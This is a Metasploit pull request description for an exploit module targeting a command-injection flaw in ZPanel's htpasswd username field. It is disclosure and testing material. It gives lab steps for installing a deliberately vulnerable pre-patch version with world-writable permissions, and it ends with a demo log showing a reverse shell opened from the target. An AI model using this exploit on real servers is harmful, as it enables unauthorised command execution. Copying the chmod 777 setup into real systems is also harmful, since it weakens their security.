rapid7/metasploit-framework — pull request #2005 by wchen-r7 (2013-06-22 02:25:44+00:00)
Title: Add OSVDB-94038: ZPanel htpasswd Module Username Command Execution

This module exploits a vulnerability found in ZPanel's htpasswd module. When creating .htaccess using the htpasswd module, the username field can be used to inject system commands, which is passed on to a system() function for executing the system's htpasswd's command.

Please note:

In order to use this module, you must have a valid account to login to ZPanel. An account part of any of the default groups should suffice, such as: Administrators, Resellers, or Users (Clients). By default, there's already a 'zadmin' user, but the password is randomly generated. You can find the password in /root/passwords.txt

Installation for Ubuntu 12:

1. You can download ZPanel by running this command:

wget http://www.zvps.co.uk/sites/default/files/downloads/ubuntu-12-04/package/installer-x86-10-0-1.sh.x.tar.gz

2. Unzip the tarball, and chmod the installer:

$ tar -xf installer-x86-10-0-1.sh.x.tar.gz
$ chmod 777 installer-x86-10-0-1.sh.x

3. Just following the steps of your installer. Note: The installer might run an update to make sure ZPanel is up to date, this includes the patch for the vulnerability we're trying to hit.

4. Assuming the update ran, we'll have to checkout the vulnerable version. Do this:

$ cd /etc/zpanel
$ mv panel original_panel <--- this is how we save the original one, you'll need the config files
$ git clone https://github.com/bobsta63/zpanelx.git panel
$ chmod -R 777 panel
$ cd panel
$ git checkout fd02352a9e2b4837b93e679557db14f1af0d6ee2 <--- Before the patch

5. Restore the conf files in directory "original_panel" to the one in "panel". And then your ZPanel should be functional again.

At least that's how I did it.

Demo:

[*] Started reverse double handler
[+] 10.0.1.80:80 - Logged in as 'client:abc123'
[*] 10.0.1.80:80 - Executing payload...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo mrwUvpPvayfl8t23;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket A
[*] A: "Trying: not found\r\nsh: 2: Connected: not found\r\nsh: 3: Escape: not found\r\nmrwUvpPvayfl8t23\r\n"
[*] Matching...
[*] B is input...
[*] Command shell session 1 opened (10.0.1.76:4444 -> 10.0.1.80:36055) at 2013-06-21 21:12:41 -0500